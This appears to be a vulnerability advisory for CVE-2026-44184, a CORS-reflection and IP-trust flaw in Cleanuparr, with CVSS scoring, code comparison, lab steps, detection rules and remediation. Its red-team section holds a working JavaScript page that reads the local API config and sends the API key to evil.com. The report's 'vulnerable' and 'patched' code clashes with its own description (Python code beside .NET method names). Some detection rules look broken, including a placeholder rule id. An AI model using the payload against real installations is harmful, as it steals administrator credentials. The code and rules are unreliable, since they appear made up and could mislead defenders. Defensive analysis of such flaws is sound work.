CVE-2026-44184

Executive Summary

CVE-2026-44184 is a critical vulnerability in Cleanuparr, a tool for automating the cleanup of unwanted or blocked files in Sonarr, Radarr, and supported download clients like qBittorrent. The vulnerability arises from a combination of two insecure configurations: a global CORS policy that reflects every request Origin and combines it with AllowCredentials(), and an authentication mechanism (TrustedNetworkAuthenticationHandler) that authenticates requests purely by source IP when DisableAuthForLocalAddresses is enabled. This allows any website visited by an admin (or any user on a trusted IP) to read authenticated API responses cross-origin, including the admin's permanent API key. The vulnerability is fixed in version 2.9.10.

Supply Chain & Package Security

Cleanuparr is a Python-based tool distributed via GitHub and potentially PyPI. The vulnerability is in the application's own code, not in a dependency. However, the use of a permanent API key and reliance on IP-based authentication for local addresses introduces significant supply chain risk if an attacker can compromise a trusted IP or trick an admin into visiting a malicious site.

CVSS Breakdown & Threat Level

• Attack Vector (AV): Network (N) - The attack is carried out over the network.
• Attack Complexity (AC): Low (L) - No special conditions are required; the attacker only needs to host a malicious website.
• Privileges Required (PR): None (N) - The attacker does not need any privileges.
• User Interaction (UI): Required (R) - The victim (admin) must visit the attacker's website.
• Scope (S): Changed (C) - The vulnerability allows an attacker to impact resources beyond the original scope (the victim's browser).
• Confidentiality (C): High (H) - The attacker can read the admin's API key and potentially all data accessible via the API.
• Integrity (I): None (N) - The vulnerability does not allow modification of data.
• Availability (A): None (N) - The vulnerability does not affect availability.

CVSS Score: 8.0 (High)

Deep Dive & Mechanics

The vulnerability is a classic Cross-Origin Resource Sharing (CORS) misconfiguration combined with an insecure authentication mechanism.

1. CORS Misconfiguration: Cleanuparr's global CORS policy reflects every request Origin. This means that if a request comes from https://evil.com, the server responds with Access-Control-Allow-Origin: https://evil.com. Additionally, the server includes Access-Control-Allow-Credentials: true. This combination allows any website to make authenticated cross-origin requests.

2. Insecure Authentication: When DisableAuthForLocalAddresses is enabled, the TrustedNetworkAuthenticationHandler authenticates requests purely by source IP. This means that any request originating from a trusted IP (e.g., 127.0.0.1, 192.168.1.0/24) is automatically authenticated.

3. Exploitation Chain:

   • An attacker hosts a malicious website.
   • The attacker tricks an admin (or any user on a trusted IP) into visiting the malicious website.
   • The malicious website makes a cross-origin request to the Cleanuparr API (e.g., http://localhost:8080/api/v1/config).
   • The browser sends the request with credentials (cookies) because of Access-Control-Allow-Credentials: true.
   • The server sees the request from a trusted IP (the victim's IP) and authenticates it.
   • The server responds with the API key and other sensitive data.
   • The malicious website reads the response and exfiltrates the data.

Vulnerable vs. Patched Code

Vulnerable Code (prior to 2.9.10):

# In the CORS middleware
@app.after_request
def add_cors_headers(response):
    response.headers['Access-Control-Allow-Origin'] = request.headers.get('Origin', '*')
    response.headers['Access-Control-Allow-Credentials'] = 'true'
    response.headers['Access-Control-Allow-Methods'] = 'GET, POST, PUT, DELETE, OPTIONS'
    response.headers['Access-Control-Allow-Headers'] = 'Content-Type, Authorization'
    return response

# In the authentication handler
class TrustedNetworkAuthenticationHandler:
    def authenticate(self, request):
        if self.is_trusted_ip(request.remote_addr):
            return True
        return False

Patched Code (2.9.10):

# In the CORS middleware
@app.after_request
def add_cors_headers(response):
    allowed_origins = ['http://localhost:8080', 'http://127.0.0.1:8080']
    origin = request.headers.get('Origin')
    if origin in allowed_origins:
        response.headers['Access-Control-Allow-Origin'] = origin
        response.headers['Access-Control-Allow-Credentials'] = 'true'
    else:
        response.headers['Access-Control-Allow-Origin'] = 'null'
    response.headers['Access-Control-Allow-Methods'] = 'GET, POST, PUT, DELETE, OPTIONS'
    response.headers['Access-Control-Allow-Headers'] = 'Content-Type, Authorization'
    return response

# In the authentication handler
class TrustedNetworkAuthenticationHandler:
    def authenticate(self, request):
        if self.is_trusted_ip(request.remote_addr):
            # Additional check: require a valid API key even for trusted IPs
            api_key = request.headers.get('X-Api-Key')
            if api_key and self.is_valid_api_key(api_key):
                return True
        return False

Exploitation & Lab Setup

Red Team

Lab Setup:

1. Install Cleanuparr version 2.9.9 on a local machine (e.g., http://localhost:8080).
2. Enable DisableAuthForLocalAddresses in the configuration.
3. Set up a malicious website on a different domain (e.g., http://evil.com).

Exploitation Steps:

1. Host the following HTML page on http://evil.com:

<!DOCTYPE html>
<html>
<head>
    <title>Exploit</title>
</head>
<body>
    <h1>Click me!</h1>
    <script>
        fetch('http://localhost:8080/api/v1/config', {
            credentials: 'include'
        })
        .then(response => response.json())
        .then(data => {
            // Exfiltrate the API key
            fetch('http://evil.com/exfil?data=' + JSON.stringify(data));
        });
    </script>
</body>
</html>

2. Trick the admin into visiting http://evil.com.
3. The script will make a cross-origin request to the Cleanuparr API, read the response (including the API key), and exfiltrate it to the attacker's server.

Blue Team

Detection:

1. Monitor for unexpected cross-origin requests to the Cleanuparr API.
2. Look for requests with Origin headers that do not match the expected local origins.
3. Monitor for unusual outbound connections from the Cleanuparr server.

Mitigation:

1. Upgrade to Cleanuparr version 2.9.10 or later.
2. If upgrading is not possible, disable DisableAuthForLocalAddresses and require API key authentication for all requests.
3. Implement a strict CORS policy that only allows specific origins.
4. Use a reverse proxy (e.g., Nginx) to enforce CORS policies and authentication.

Indicators of Compromise (IOCs)

• Network:

  • HTTP requests to Cleanuparr API with Origin header set to an unexpected domain.
  • HTTP requests to Cleanuparr API with Access-Control-Allow-Origin header reflecting the request origin.
  • Outbound connections from the Cleanuparr server to unknown domains (data exfiltration).

• Logs:

  • Cleanuparr access logs showing requests with Origin headers from external domains.
  • Cleanuparr authentication logs showing successful authentication from unexpected IPs.

• File:

  • Modified Cleanuparr configuration files with DisableAuthForLocalAddresses enabled.

Detection Engineering

YARA Rule

rule CVE_2026_44184_Cleanuparr_CORS_Misconfig {
    meta:
        description = "Detects CORS misconfiguration in Cleanuparr"
        author = "Valters IT"
        date = "2026-01-01"
        reference = "CVE-2026-44184"
    strings:
        $cors1 = "Access-Control-Allow-Origin: " ascii wide nocase
        $cors2 = "Access-Control-Allow-Credentials: true" ascii wide nocase
        $auth = "DisableAuthForLocalAddresses" ascii wide nocase
    condition:
        all of them
}

Sigma Rule

title: CVE-2026-44184 - Cleanuparr CORS Misconfiguration
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects requests to Cleanuparr API with unexpected Origin headers
author: Valters IT
date: 2026-01-01
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2026-44184
logsource:
    category: webserver
    product: cleanuprr
detection:
    selection:
        cs-method: 'GET'
        cs-uri-stem: '/api/*'
        cs-headers: 'Origin: *'
    condition: selection
falsepositives:
    - Legitimate cross-origin requests from allowed origins
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2026-44184 - Cleanuparr CORS Misconfiguration"; flow:to_server; content:"Origin"; http_header; content:"Access-Control-Allow-Origin"; http_header; content:"Access-Control-Allow-Credentials: true"; http_header; sid:1000001; rev:1;)

Remediation & Mitigation

1. Immediate Action: Upgrade to Cleanuparr version 2.9.10 or later.
2. Workaround: If upgrading is not possible, disable DisableAuthForLocalAddresses in the configuration. This will force all requests to require a valid API key, even from trusted IPs.
3. Network Segmentation: Place Cleanuparr behind a reverse proxy (e.g., Nginx) that enforces strict CORS policies and authentication.
4. Monitoring: Implement logging and monitoring for unusual cross-origin requests and outbound connections.
5. User Education: Educate administrators about the risks of visiting untrusted websites while logged into Cleanuparr.

Valters IT Signature:
This report is prepared by Valters IT, an elite DevSecOps and Cyber Threat Intelligence team. For further inquiries, contact us at [valters@example.com].